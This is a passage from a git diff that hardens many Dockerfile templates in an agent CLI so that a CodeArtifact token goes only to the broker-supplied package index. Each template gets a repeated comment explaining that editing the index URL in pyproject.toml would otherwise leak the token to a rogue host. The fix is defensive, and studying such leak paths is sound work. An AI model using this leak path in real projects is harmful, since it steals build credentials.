}}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 36d2cd787..16fcfa13a 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index d926486ca..8b6adeab3 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -48,11 +48,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -66,6 +76,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index 081e0d563..541438ed9 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -44,11 +44,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -62,6 +72,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 index 207b1c3ca..aeefd592e 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -56,11 +56,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -74,6 +84,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index cafbf5865..1f96a64d2 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -56,11 +56,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -74,6 +84,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 59e11795b..65202d3cd 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 